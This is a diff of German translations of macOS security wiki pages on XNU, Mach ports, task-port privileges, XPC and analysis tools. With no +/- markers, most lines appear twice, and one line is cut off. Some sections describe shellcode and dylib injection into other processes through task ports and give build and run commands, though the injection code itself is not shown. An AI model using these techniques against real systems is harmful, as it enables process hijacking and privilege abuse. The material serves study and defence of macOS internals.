Aus der Perspektive eines Sicherheitsforschers oder Unix-Entwicklers kann **macOS** ziemlich **ähnlich** einem **FreeBSD**-System mit einer eleganten GUI und einer Vielzahl von benutzerdefinierten Anwendungen erscheinen. Die meisten für BSD entwickelten Anwendungen werden ohne Modifikationen auf macOS kompiliert und ausgeführt, da die Befehlszeilenwerkzeuge, die Unix-Benutzern vertraut sind, alle in macOS vorhanden sind. Da der XNU-Kernel jedoch Mach integriert, gibt es einige wesentliche Unterschiede zwischen einem traditionellen Unix-ähnlichen System und macOS, und diese Unterschiede können potenzielle Probleme verursachen oder einzigartige Vorteile bieten.
Open-Source-Version von XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
@ -18,7 +18,7 @@ In XNU ist Mach **verantwortlich für viele der kritischen Low-Level-Operationen
### BSD
Der XNU **Kernel** **integriert** auch eine erhebliche Menge an Code, der aus dem **FreeBSD**-Projekt stammt. Dieser Code **läuft als Teil des Kernels zusammen mit Mach** im selben Adressraum. Der FreeBSD-Code innerhalb von XNU kann jedoch erheblich vom ursprünglichen FreeBSD-Code abweichen, da Änderungen erforderlich waren, um die Kompatibilität mit Mach sicherzustellen. FreeBSD trägt zu vielen Kernel-Operationen bei, einschließlich:
Der XNU **Kernel** **integriert** auch eine erhebliche Menge an Code, der aus dem **FreeBSD**-Projekt stammt. Dieser Code **läuft als Teil des Kernels zusammen mit Mach** im selben Adressraum. Der FreeBSD-Code innerhalb von XNU kann jedoch erheblich vom ursprünglichen FreeBSD-Code abweichen, da Modifikationen erforderlich waren, um die Kompatibilität mit Mach sicherzustellen. FreeBSD trägt zu vielen Kernel-Operationen bei, einschließlich:
- Prozessmanagement
- Signalverarbeitung
@ -27,13 +27,13 @@ Der XNU **Kernel** **integriert** auch eine erhebliche Menge an Code, der aus de
- TCP/IP-Stack und Sockets
- Firewall und Paketfilterung
Das Verständnis der Interaktion zwischen BSD und Mach kann komplex sein, aufgrund ihrer unterschiedlichen konzeptionellen Rahmen. Zum Beispiel verwendet BSD Prozesse als seine grundlegende Ausführungseinheit, während Mach auf Threads basiert. Diese Diskrepanz wird in XNU durch **die Zuordnung jedes BSD-Prozesses zu einer Mach-Aufgabe** gelöst, die genau einen Mach-Thread enthält. Wenn der Fork()-Systemaufruf von BSD verwendet wird, nutzt der BSD-Code innerhalb des Kernels Mach-Funktionen, um eine Aufgabe und eine Thread-Struktur zu erstellen.
Das Verständnis der Interaktion zwischen BSD und Mach kann komplex sein, aufgrund ihrer unterschiedlichen konzeptionellen Rahmen. Zum Beispiel verwendet BSD Prozesse als seine grundlegende Ausführungseinheit, während Mach auf Threads basiert. Diese Diskrepanz wird in XNU dadurch ausgeglichen, dass **jeder BSD-Prozess mit einer Mach-Aufgabe** verknüpft wird, die genau einen Mach-Thread enthält. Wenn der fork()-Systemaufruf von BSD verwendet wird, nutzt der BSD-Code innerhalb des Kernels Mach-Funktionen, um eine Aufgabe und eine Thread-Struktur zu erstellen.
Darüber hinaus **pflegen Mach und BSD jeweils unterschiedliche Sicherheitsmodelle**: Das Sicherheitsmodell von **Mach** basiert auf **Port-Rechten**, während das Sicherheitsmodell von BSD auf **Prozesseigentum** basiert. Unterschiede zwischen diesen beiden Modellen haben gelegentlich zu lokalen Privilegieneskalationsanfälligkeiten geführt. Neben typischen Systemaufrufen gibt es auch **Mach-Traps, die es Benutzerspace-Programmen ermöglichen, mit dem Kernel zu interagieren**. Diese verschiedenen Elemente bilden zusammen die facettenreiche, hybride Architektur des macOS-Kernels.
Darüber hinaus **pflegen Mach und BSD jeweils unterschiedliche Sicherheitsmodelle**: **Das Sicherheitsmodell von Mach** basiert auf **Port-Rechten**, während das Sicherheitsmodell von BSD auf **Prozesseigentum** basiert. Unterschiede zwischen diesen beiden Modellen haben gelegentlich zu lokalen Privilegieneskalationsanfälligkeiten geführt. Neben typischen Systemaufrufen gibt es auch **Mach-Traps, die es Benutzerspace-Programmen ermöglichen, mit dem Kernel zu interagieren**. Diese verschiedenen Elemente bilden zusammen die facettenreiche, hybride Architektur des macOS-Kernels.
### I/O Kit - Treiber
Das I/O Kit ist ein Open-Source, objektorientiertes **Gerätetreiber-Framework** im XNU-Kernel, das **dynamisch geladene Gerätetreiber** verwaltet. Es ermöglicht, modulare Codes zur Laufzeit zum Kernel hinzuzufügen und unterstützt verschiedene Hardware.
Das I/O Kit ist ein Open-Source, objektorientiertes **Gerätetreiber-Framework** im XNU-Kernel, das **dynamisch geladene Gerätetreiber** verwaltet. Es ermöglicht, modulare Codes zur Laufzeit in den Kernel einzufügen und unterstützt verschiedene Hardware.
{{#ref}}
macos-iokit.md
@ -47,9 +47,9 @@ macos-iokit.md
## macOS Kernel-Erweiterungen
macOS ist **sehr restriktiv beim Laden von Kernel-Erweiterungen** (.kext), aufgrund der hohen Privilegien, mit denen der Code ausgeführt wird. Tatsächlich ist es standardmäßig nahezu unmöglich (es sei denn, es wird ein Bypass gefunden).
macOS ist **sehr restriktiv beim Laden von Kernel-Erweiterungen** (.kext), aufgrund der hohen Berechtigungen, mit denen der Code ausgeführt wird. Tatsächlich ist es standardmäßig nahezu unmöglich (es sei denn, es wird ein Bypass gefunden).
Auf der folgenden Seite können Sie auch sehen, wie Sie die `.kext` wiederherstellen können, die macOS in seinem **Kernelcache** lädt:
Auf der folgenden Seite können Sie auch sehen, wie Sie die `.kext` wiederherstellen können, die macOS in seinem **kernelcache** lädt:
{{#ref}}
macos-kernel-extensions.md
@ -57,7 +57,7 @@ macos-kernel-extensions.md
### macOS Systemerweiterungen
Anstelle von Kernel-Erweiterungen hat macOS die Systemerweiterungen geschaffen, die in der Benutzerebene APIs bieten, um mit dem Kernel zu interagieren. Auf diese Weise können Entwickler auf die Verwendung von Kernel-Erweiterungen verzichten.
Anstelle von Kernel-Erweiterungen hat macOS die Systemerweiterungen geschaffen, die auf Benutzerebene APIs bieten, um mit dem Kernel zu interagieren. Auf diese Weise können Entwickler die Verwendung von Kernel-Erweiterungen vermeiden.
{{#ref}}
macos-system-extensions.md

View File

@ -6,58 +6,58 @@
### Grundlegende Informationen
Mach verwendet **Aufgaben** als die **kleinste Einheit** zum Teilen von Ressourcen, und jede Aufgabe kann **mehrere Threads** enthalten. Diese **Aufgaben und Threads sind 1:1 auf POSIX-Prozesse und -Threads abgebildet**.
Mach verwendet **Tasks** als die **kleinste Einheit** zum Teilen von Ressourcen, und jede Task kann **mehrere Threads** enthalten. Diese **Tasks und Threads sind 1:1 auf POSIX-Prozesse und -Threads abgebildet**.
Die Kommunikation zwischen Aufgaben erfolgt über Mach Inter-Process Communication (IPC) und nutzt einseitige Kommunikationskanäle. **Nachrichten werden zwischen Ports übertragen**, die wie **Nachrichtenwarteschlangen** fungieren, die vom Kernel verwaltet werden.
Die Kommunikation zwischen Tasks erfolgt über Mach Inter-Process Communication (IPC) und nutzt einseitige Kommunikationskanäle. **Nachrichten werden zwischen Ports übertragen**, die wie **Nachrichtenwarteschlangen** fungieren, die vom Kernel verwaltet werden.
Jeder Prozess hat eine **IPC-Tabelle**, in der die **Mach-Ports des Prozesses** zu finden sind. Der Name eines Mach-Ports ist tatsächlich eine Nummer (ein Zeiger auf das Kernel-Objekt).
Ein Prozess kann auch einen Portnamen mit bestimmten Rechten **an eine andere Aufgabe** senden, und der Kernel wird diesen Eintrag in der **IPC-Tabelle der anderen Aufgabe** erscheinen lassen.
Ein Prozess kann auch einen Portnamen mit bestimmten Rechten **an eine andere Task** senden, und der Kernel wird diesen Eintrag in der **IPC-Tabelle der anderen Task** erscheinen lassen.
### Portrechte
Portrechte, die definieren, welche Operationen eine Aufgabe ausführen kann, sind entscheidend für diese Kommunikation. Die möglichen **Portrechte** sind ([Definitionen hier](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
Portrechte, die definieren, welche Operationen eine Task ausführen kann, sind entscheidend für diese Kommunikation. Die möglichen **Portrechte** sind ([Definitionen hier](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **Empfangsrecht**, das das Empfangen von Nachrichten ermöglicht, die an den Port gesendet werden. Mach-Ports sind MPSC (multiple-producer, single-consumer) Warteschlangen, was bedeutet, dass es im gesamten System **nur ein Empfangsrecht für jeden Port** geben kann (im Gegensatz zu Pipes, bei denen mehrere Prozesse alle Dateideskriptoren zum Leseende einer Pipe halten können).
- Eine **Aufgabe mit dem Empfangsrecht** kann Nachrichten empfangen und **Senderechte erstellen**, die es ihr ermöglichen, Nachrichten zu senden. Ursprünglich hat nur die **eigene Aufgabe das Empfangsrecht über ihren Port**.
- Eine **Task mit dem Empfangsrecht** kann Nachrichten empfangen und **Senderechte erstellen**, die es ihr ermöglichen, Nachrichten zu senden. Ursprünglich hat nur die **eigene Task das Empfangsrecht über ihren Port**.
- **Senderecht**, das das Senden von Nachrichten an den Port ermöglicht.
- Das Senderecht kann **kloniert** werden, sodass eine Aufgabe, die ein Senderecht besitzt, das Recht klonen und **einer dritten Aufgabe gewähren** kann.
- Das Senderecht kann **kloniert** werden, sodass eine Task, die ein Senderecht besitzt, das Recht klonen und **einer dritten Task gewähren** kann.
- **Send-einmal-Recht**, das das Senden einer Nachricht an den Port ermöglicht und dann verschwindet.
- **Portset-Recht**, das ein _Portset_ anstelle eines einzelnen Ports bezeichnet. Das Dequeuen einer Nachricht aus einem Portset dequeuert eine Nachricht aus einem der enthaltenen Ports. Portsets können verwendet werden, um gleichzeitig auf mehreren Ports zu hören, ähnlich wie `select`/`poll`/`epoll`/`kqueue` in Unix.
- **Toter Name**, der kein tatsächliches Portrecht ist, sondern lediglich ein Platzhalter. Wenn ein Port zerstört wird, verwandeln sich alle bestehenden Portrechte für den Port in tote Namen.
**Aufgaben können SEND-Rechte an andere übertragen**, wodurch diese in der Lage sind, Nachrichten zurückzusenden. **SEND-Rechte können auch geklont werden, sodass eine Aufgabe das Recht duplizieren und einer dritten Aufgabe geben kann**. Dies, kombiniert mit einem Zwischenprozess, der als **Bootstrap-Server** bekannt ist, ermöglicht eine effektive Kommunikation zwischen Aufgaben.
**Tasks können SEND-Rechte an andere übertragen**, wodurch diese in der Lage sind, Nachrichten zurückzusenden. **SEND-Rechte können auch geklont werden, sodass eine Task das Recht duplizieren und einer dritten Task geben kann**. Dies, kombiniert mit einem Zwischenprozess, der als **Bootstrap-Server** bekannt ist, ermöglicht eine effektive Kommunikation zwischen Tasks.
### Datei-Ports
Datei-Ports ermöglichen es, Dateideskriptoren in Mac-Ports zu kapseln (unter Verwendung von Mach-Port-Rechten). Es ist möglich, einen `fileport` aus einem gegebenen FD mit `fileport_makeport` zu erstellen und einen FD aus einem fileport mit `fileport_makefd` zu erstellen.
Datei-Ports ermöglichen es, Dateideskriptoren in Mac-Ports (unter Verwendung von Mach-Port-Rechten) zu kapseln. Es ist möglich, einen `fileport` aus einem gegebenen FD mit `fileport_makeport` zu erstellen und einen FD aus einem fileport mit `fileport_makefd` zu erstellen.
### Etablierung einer Kommunikation
#### Schritte:
Wie bereits erwähnt, ist der **Bootstrap-Server** (**launchd** in mac) an der Etablierung des Kommunikationskanals beteiligt.
Wie bereits erwähnt, ist zur Etablierung des Kommunikationskanals der **Bootstrap-Server** (**launchd** in mac) beteiligt.
1. Aufgabe **A** initiiert einen **neuen Port** und erhält dabei ein **EMPFANGSRECHT**.
2. Aufgabe **A**, die Inhaberin des Empfangsrechts, **generiert ein SENDERECHT für den Port**.
3. Aufgabe **A** stellt eine **Verbindung** mit dem **Bootstrap-Server** her und gibt den **Servicenamen des Ports** sowie das **SENDERECHT** über ein Verfahren bekannt, das als Bootstrap-Registrierung bekannt ist.
4. Aufgabe **B** interagiert mit dem **Bootstrap-Server**, um eine Bootstrap-**Suche nach dem Servicenamen** durchzuführen. Wenn erfolgreich, **dupliziert der Server das SENDERECHT**, das von Aufgabe A empfangen wurde, und **überträgt es an Aufgabe B**.
5. Nach dem Erwerb eines SENDERECHTS ist Aufgabe **B** in der Lage, eine **Nachricht** zu **formulieren** und sie **an Aufgabe A** zu senden.
6. Für eine bidirektionale Kommunikation generiert Aufgabe **B** normalerweise einen neuen Port mit einem **EMPFANGSRECHT** und einem **SENDERECHT** und gibt das **SENDERECHT an Aufgabe A** weiter, damit sie Nachrichten an Aufgabe B senden kann (bidirektionale Kommunikation).
1. Task **A** initiiert einen **neuen Port** und erhält dabei ein **EMPFANGSRECHT**.
2. Task **A**, als Inhaber des Empfangsrechts, **generiert ein SENDERECHT für den Port**.
3. Task **A** stellt eine **Verbindung** mit dem **Bootstrap-Server** her und gibt den **Servicenamen des Ports** sowie das **SENDERECHT** über ein Verfahren bekannt, das als Bootstrap-Registrierung bekannt ist.
4. Task **B** interagiert mit dem **Bootstrap-Server**, um eine Bootstrap-**Suche nach dem Servicenamen** durchzuführen. Wenn erfolgreich, **dupliziert der Server das SENDERECHT**, das von Task A empfangen wurde, und **überträgt es an Task B**.
5. Nach dem Erwerb eines SENDERECHTS ist Task **B** in der Lage, eine **Nachricht** zu **formulieren** und sie **an Task A** zu senden.
6. Für eine bidirektionale Kommunikation generiert Task **B** normalerweise einen neuen Port mit einem **EMPFANGSRECHT** und einem **SENDERECHT** und gibt das **SENDERECHT an Task A** weiter, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
Der Bootstrap-Server **kann den** vom Task beanspruchten Servicenamen **nicht authentifizieren**. Das bedeutet, dass eine **Aufgabe** potenziell **jede Systemaufgabe nachahmen** könnte, indem sie fälschlicherweise **einen Autorisierungsservicenamen beansprucht** und dann jede Anfrage genehmigt.
Der Bootstrap-Server **kann den** vom Task beanspruchten Servicenamen **nicht authentifizieren**. Das bedeutet, dass eine **Task** potenziell **jede System-Task impersonieren** könnte, indem sie fälschlicherweise **einen Autorisierungsservicenamen beansprucht** und dann jede Anfrage genehmigt.
Dann speichert Apple die **Namen der systemeigenen Dienste** in sicheren Konfigurationsdateien, die sich in **SIP-geschützten** Verzeichnissen befinden: `/System/Library/LaunchDaemons` und `/System/Library/LaunchAgents`. Neben jedem Servicenamen wird auch die **assoziierte Binärdatei gespeichert**. Der Bootstrap-Server wird ein **EMPFANGSRECHT für jeden dieser Servicenamen** erstellen und halten.
Für diese vordefinierten Dienste unterscheidet sich der **Suchprozess leicht**. Wenn ein Servicename gesucht wird, startet launchd den Dienst dynamisch. Der neue Workflow ist wie folgt:
- Aufgabe **B** initiiert eine Bootstrap-**Suche** nach einem Servicenamen.
- **launchd** überprüft, ob die Aufgabe läuft, und wenn nicht, **startet** sie sie.
- Aufgabe **A** (der Dienst) führt eine **Bootstrap-Registrierung** durch. Hier erstellt der **Bootstrap-Server ein SENDERECHT, behält es und überträgt das EMPFANGSRECHT an Aufgabe A**.
- launchd dupliziert das **SENDERECHT und sendet es an Aufgabe B**.
- Aufgabe **B** generiert einen neuen Port mit einem **EMPFANGSRECHT** und einem **SENDERECHT** und gibt das **SENDERECHT an Aufgabe A** (den Dienst) weiter, damit sie Nachrichten an Aufgabe B senden kann (bidirektionale Kommunikation).
- Task **B** initiiert eine Bootstrap-**Suche** nach einem Servicenamen.
- **launchd** überprüft, ob die Task läuft, und wenn nicht, **startet** sie sie.
- Task **A** (der Dienst) führt eine **Bootstrap-Check-in** durch. Hier erstellt der **Bootstrap-Server ein SENDERECHT**, behält es und **überträgt das EMPFANGSRECHT an Task A**.
- launchd dupliziert das **SENDERECHT und sendet es an Task B**.
- Task **B** generiert einen neuen Port mit einem **EMPFANGSRECHT** und einem **SENDERECHT** und gibt das **SENDERECHT an Task A** (den Dienst) weiter, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
Dieser Prozess gilt jedoch nur für vordefinierte Systemaufgaben. Nicht-Systemaufgaben funktionieren weiterhin wie ursprünglich beschrieben, was potenziell eine Nachahmung ermöglichen könnte.
Dieser Prozess gilt jedoch nur für vordefinierte System-Tasks. Nicht-System-Tasks funktionieren weiterhin wie ursprünglich beschrieben, was potenziell eine Impersonation ermöglichen könnte.
### Eine Mach-Nachricht
@ -74,22 +74,22 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
Prozesse, die über ein _**receive right**_ verfügen, können Nachrichten über einen Mach-Port empfangen. Umgekehrt wird den **Sendern** ein _**send**_ oder ein _**send-once right**_ gewährt. Das send-once right ist ausschließlich zum Senden einer einzelnen Nachricht gedacht, nach der es ungültig wird.
Prozesse, die über ein _**Empfangsrecht**_ verfügen, können Nachrichten über einen Mach-Port empfangen. Umgekehrt wird den **Sendern** ein _**Senderecht**_ oder ein _**Send-einmal-Recht**_ gewährt. Das Send-einmal-Recht ist ausschließlich zum Senden einer einzelnen Nachricht gedacht, nach der es ungültig wird.
Um eine einfache **bi-direktionale Kommunikation** zu erreichen, kann ein Prozess einen **mach port** im Mach **Nachrichtenkopf** angeben, der als _reply port_ (**`msgh_local_port`**) bezeichnet wird, wo der **Empfänger** der Nachricht eine **Antwort** auf diese Nachricht senden kann. Die Bitflags in **`msgh_bits`** können verwendet werden, um anzuzeigen, dass ein **send-once** **right** für diesen Port abgeleitet und übertragen werden sollte (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
Um eine einfache **zweiseitige Kommunikation** zu erreichen, kann ein Prozess einen **Mach-Port** im Mach **Nachrichtenkopf** angeben, der als _Antwortport_ (**`msgh_local_port`**) bezeichnet wird, wo der **Empfänger** der Nachricht eine **Antwort** auf diese Nachricht senden kann. Die Bitflags in **`msgh_bits`** können verwendet werden, um anzuzeigen, dass ein **Send-einmal** **Recht** für diesen Port abgeleitet und übertragen werden soll (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
> [!TIP]
> Beachten Sie, dass diese Art der bi-direktionalen Kommunikation in XPC-Nachrichten verwendet wird, die eine Antwort erwarten (`xpc_connection_send_message_with_reply` und `xpc_connection_send_message_with_reply_sync`). Aber **normalerweise werden verschiedene Ports erstellt**, wie zuvor erklärt, um die bi-direktionale Kommunikation zu ermöglichen.
> Beachten Sie, dass diese Art der zweiseitigen Kommunikation in XPC-Nachrichten verwendet wird, die eine Antwort erwarten (`xpc_connection_send_message_with_reply` und `xpc_connection_send_message_with_reply_sync`). Aber **normalerweise werden verschiedene Ports erstellt**, wie zuvor erklärt, um die zweiseitige Kommunikation zu ermöglichen.
Die anderen Felder des Nachrichtenkopfes sind:
- `msgh_size`: die Größe des gesamten Pakets.
- `msgh_remote_port`: der Port, über den diese Nachricht gesendet wird.
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html).
- `msgh_voucher_port`: [Mach-Gutscheine](https://robert.sesek.com/2023/6/mach_vouchers.html).
- `msgh_id`: die ID dieser Nachricht, die vom Empfänger interpretiert wird.
> [!CAUTION]
> Beachten Sie, dass **mach-Nachrichten über einen \_mach port\_** gesendet werden, der ein **einzelner Empfänger**, **mehrere Sender** Kommunikationskanal ist, der im Mach-Kernel integriert ist. **Mehrere Prozesse** können **Nachrichten** an einen Mach-Port senden, aber zu jedem Zeitpunkt kann nur **ein einzelner Prozess** davon lesen.
> Beachten Sie, dass **Mach-Nachrichten über einen \_Mach-Port\_** gesendet werden, der ein **einzelner Empfänger**, **mehrere Sender** Kommunikationskanal ist, der im Mach-Kernel integriert ist. **Mehrere Prozesse** können **Nachrichten** an einen Mach-Port senden, aber zu jedem Zeitpunkt kann nur **ein einzelner Prozess** von ihm lesen.
### Ports auflisten
```bash
@ -228,25 +228,27 @@ printf("Sent a message\n");
### Privilegierte Ports
- **Host-Port**: Wenn ein Prozess das **Send**-Recht über diesen Port hat, kann er **Informationen** über das **System** abrufen (z.B. `host_processor_info`).
- **Host-Priv-Port**: Ein Prozess mit **Send**-Recht über diesen Port kann **privilegierte Aktionen** wie das Laden einer Kernel-Erweiterung durchführen. Der **Prozess muss root sein**, um diese Berechtigung zu erhalten.
- **Host-Priv-Port**: Ein Prozess mit **Send**-Recht über diesen Port kann **privilegierte Aktionen** wie das Laden einer Kernel-Erweiterung durchführen. Der **Prozess muss root** sein, um diese Berechtigung zu erhalten.
- Darüber hinaus ist es erforderlich, um die **`kext_request`** API aufzurufen, andere Berechtigungen **`com.apple.private.kext*`** zu haben, die nur Apple-Binärdateien gewährt werden.
- **Task-Name-Port:** Eine unprivilegierte Version des _Task-Ports_. Er verweist auf die Aufgabe, erlaubt jedoch nicht, sie zu steuern. Das einzige, was darüber verfügbar zu sein scheint, ist `task_info()`.
- **Task-Port** (auch bekannt als Kernel-Port): Mit Send-Berechtigung über diesen Port ist es möglich, die Aufgabe zu steuern (Speicher lesen/schreiben, Threads erstellen...).
- Rufen Sie `mach_task_self()` auf, um **den Namen** für diesen Port für die aufrufende Aufgabe zu erhalten. Dieser Port wird nur **vererbt** über **`exec()`**; eine neue Aufgabe, die mit `fork()` erstellt wird, erhält einen neuen Task-Port (als Sonderfall erhält eine Aufgabe auch einen neuen Task-Port nach `exec()` in einer suid-Binärdatei). Der einzige Weg, eine Aufgabe zu starten und ihren Port zu erhalten, besteht darin, den ["Port-Swap-Tanz"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) während eines `fork()` durchzuführen.
- Dies sind die Einschränkungen für den Zugriff auf den Port (aus `macos_task_policy` der Binärdatei `AppleMobileFileIntegrity`):
- Wenn die App die **`com.apple.security.get-task-allow` Berechtigung** hat, können Prozesse vom **gleichen Benutzer auf den Task-Port zugreifen** (häufig von Xcode zum Debuggen hinzugefügt). Der **Notarisierungs**prozess erlaubt dies nicht für Produktionsversionen.
- Apps mit der **`com.apple.system-task-ports`** Berechtigung können den **Task-Port für jeden** Prozess, außer dem Kernel, abrufen. In älteren Versionen wurde es **`task_for_pid-allow`** genannt. Dies wird nur Apple-Anwendungen gewährt.
- **Root kann auf Task-Ports** von Anwendungen **nicht** zugreifen, die mit einer **gehärteten** Laufzeit (und nicht von Apple) kompiliert wurden.
- Wenn die App die **`com.apple.security.get-task-allow`-Berechtigung** hat, können Prozesse vom **gleichen Benutzer auf den Task-Port** zugreifen (häufig von Xcode zum Debuggen hinzugefügt). Der **Notarisierungs**-Prozess erlaubt dies nicht für Produktionsversionen.
- Apps mit der **`com.apple.system-task-ports`**-Berechtigung können den **Task-Port für jeden** Prozess abrufen, außer für den Kernel. In älteren Versionen wurde es **`task_for_pid-allow`** genannt. Dies wird nur Apple-Anwendungen gewährt.
- **Root kann auf Task-Ports** von Anwendungen zugreifen, die **nicht** mit einer **gehärteten** Laufzeit (und nicht von Apple) kompiliert wurden.
### Shellcode-Injektion in den Thread über den Task-Port
Sie können einen Shellcode von:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
{{#
{{#tabs}}
{{#tab name="mysleep.m"}}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
@ -497,16 +499,17 @@ return 0;
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Dylib-Injektion in einem Thread über den Task-Port
### Dylib-Injektion in einem Thread über Task-Port
In macOS können **Threads** über **Mach** oder die **posix `pthread` API** manipuliert werden. Der Thread, den wir in der vorherigen Injektion erzeugt haben, wurde mit der Mach-API erstellt, daher ist er **nicht posix-konform**.
Es war möglich, **einen einfachen Shellcode** zu injizieren, um einen Befehl auszuführen, da er **nicht mit posix** konformen APIs arbeiten musste, sondern nur mit Mach. **Komplexere Injektionen** würden erfordern, dass der **Thread** ebenfalls **posix-konform** ist.
Daher sollte zur **Verbesserung des Threads** **`pthread_create_from_mach_thread`** aufgerufen werden, um **einen gültigen pthread** zu erstellen. Dann könnte dieser neue pthread **dlopen** aufrufen, um eine **dylib** aus dem System zu laden, sodass anstelle von neuem Shellcode, um verschiedene Aktionen auszuführen, benutzerdefinierte Bibliotheken geladen werden können.
Um den **Thread** zu **verbessern**, sollte er **`pthread_create_from_mach_thread`** aufrufen, was **einen gültigen pthread** erstellt. Dann könnte dieser neue pthread **dlopen** aufrufen, um eine **dylib** aus dem System zu **laden**, sodass anstelle von neuem Shellcode, um verschiedene Aktionen auszuführen, benutzerdefinierte Bibliotheken geladen werden können.
Sie finden **Beispiel-dylibs** in (zum Beispiel die, die ein Protokoll generiert und dann können Sie es abhören):
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
@ -793,28 +796,31 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
In dieser Technik wird ein Thread des Prozesses hijacked:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
{{#endref}}
## XPC
### Grundinformationen
### Grundlegende Informationen
XPC, was für XNU (den von macOS verwendeten Kernel) Inter-Prozess-Kommunikation steht, ist ein Framework für **Kommunikation zwischen Prozessen** auf macOS und iOS. XPC bietet einen Mechanismus für **sichere, asynchrone Methodenaufrufe zwischen verschiedenen Prozessen** im System. Es ist Teil von Apples Sicherheitsparadigma und ermöglicht die **Erstellung von privilegierten Anwendungen**, bei denen jede **Komponente** nur mit **den Berechtigungen läuft, die sie benötigt**, um ihre Aufgabe zu erfüllen, wodurch der potenzielle Schaden durch einen kompromittierten Prozess begrenzt wird.
XPC, was für XNU (den von macOS verwendeten Kernel) inter-Process Communication steht, ist ein Framework für **Kommunikation zwischen Prozessen** auf macOS und iOS. XPC bietet einen Mechanismus für **sichere, asynchrone Methodenaufrufe zwischen verschiedenen Prozessen** im System. Es ist Teil von Apples Sicherheitsparadigma und ermöglicht die **Erstellung von privilegierten Anwendungen**, bei denen jede **Komponente** nur mit **den Berechtigungen läuft, die sie benötigt**, um ihre Aufgabe zu erfüllen, wodurch der potenzielle Schaden durch einen kompromittierten Prozess begrenzt wird.
Für weitere Informationen darüber, wie diese **Kommunikation funktioniert** und wie sie **anfällig sein könnte**, siehe:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
{{#endref}}
## MIG - Mach Interface Generator
MIG wurde entwickelt, um **den Prozess der Mach IPC** Codeerstellung zu **vereinfachen**. Es **generiert im Grunde den benötigten Code** für Server und Client, um mit einer gegebenen Definition zu kommunizieren. Auch wenn der generierte Code unansehnlich ist, muss ein Entwickler ihn nur importieren, und sein Code wird viel einfacher sein als zuvor.
MIG wurde entwickelt, um **den Prozess der Mach IPC** Codeerstellung zu **vereinfachen**. Es **generiert im Wesentlichen den benötigten Code** für Server und Client, um mit einer gegebenen Definition zu kommunizieren. Auch wenn der generierte Code unansehnlich ist, muss ein Entwickler ihn nur importieren, und sein Code wird viel einfacher sein als zuvor.
Für weitere Informationen siehe:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
{{#endref}}

View File

@ -50,7 +50,7 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom
# Get MIG information
jtool2 -d __DATA.__const myipc_server | grep MIG
```
> [!CAUTION] > **jtool ist veraltet zugunsten von disarm**
> [!CAUTION] > **jtool ist zugunsten von disarm veraltet**
### Codesign / ldid
@ -92,7 +92,7 @@ Dieses Tool ermöglicht es, Apple-Disk-Images (**.dmg**) zu **mounten**, um sie
```bash
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
```
Es wird in `/Volumes` gemountet
Es wird in `/Volumes` gemountet.
### Gepackte Binärdateien
@ -126,7 +126,7 @@ Die Parameter, die diese Funktion erwartet, sind:
- Der zweite Parameter (**op**) ist "der Selektor der Methode, die die Nachricht verarbeitet". Einfacher ausgedrückt, dies ist nur der **Name der Methode.**
- Die verbleibenden Parameter sind alle **Werte, die von der Methode benötigt werden** (op).
Siehe, wie man **diese Informationen einfach mit `lldb` in ARM64 erhält** auf dieser Seite:
Siehe, wie Sie **diese Informationen einfach mit `lldb` in ARM64 erhalten** auf dieser Seite:
{{#ref}}
arm64-basic-assembly.md
@ -148,7 +148,7 @@ x64:
### Dynadump
[**Dynadump**](https://github.com/DerekSelander/dynadump) ist ein Tool zum Klassendump von Objective-C-Binärdateien. Das GitHub gibt dylibs an, funktioniert aber auch mit ausführbaren Dateien.
[**Dynadump**](https://github.com/DerekSelander/dynadump) ist ein Tool zum Klassendump von Objective-C-Binärdateien. Das GitHub gibt dylibs an, funktioniert jedoch auch mit ausführbaren Dateien.
```bash
./dynadump dump /path/to/bin
```
@ -162,7 +162,7 @@ objdump --macho --objc-meta-data /path/to/bin
```
#### class-dump
[**class-dump**](https://github.com/nygard/class-dump/) ist das ursprüngliche Tool, um Deklarationen für die Klassen, Kategorien und Protokolle im Objective-C formatierten Code zu generieren.
[**class-dump**](https://github.com/nygard/class-dump/) ist das ursprüngliche Tool, das Deklarationen für die Klassen, Kategorien und Protokolle im Objective-C formatierten Code generiert.
Es ist alt und wird nicht mehr gewartet, daher funktioniert es wahrscheinlich nicht richtig.
@ -177,9 +177,9 @@ print(metadata.to_decl())
```
## Statische Swift-Analyse
Mit Swift-Binärdateien, da es eine Objective-C-Kompatibilität gibt, können Sie manchmal Deklarationen mit [class-dump](https://github.com/nygard/class-dump/) extrahieren, aber nicht immer.
Mit Swift-Binärdateien, da es eine Kompatibilität zu Objective-C gibt, kann man manchmal Deklarationen mit [class-dump](https://github.com/nygard/class-dump/) extrahieren, aber nicht immer.
Mit den **`jtool -l`** oder **`otool -l`** Befehlen ist es möglich, mehrere Abschnitte zu finden, die mit dem **`__swift5`** Präfix beginnen:
Mit den Befehlen **`jtool -l`** oder **`otool -l`** ist es möglich, mehrere Abschnitte zu finden, die mit dem Präfix **`__swift5`** beginnen:
```bash
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
@ -204,25 +204,25 @@ swift demangle
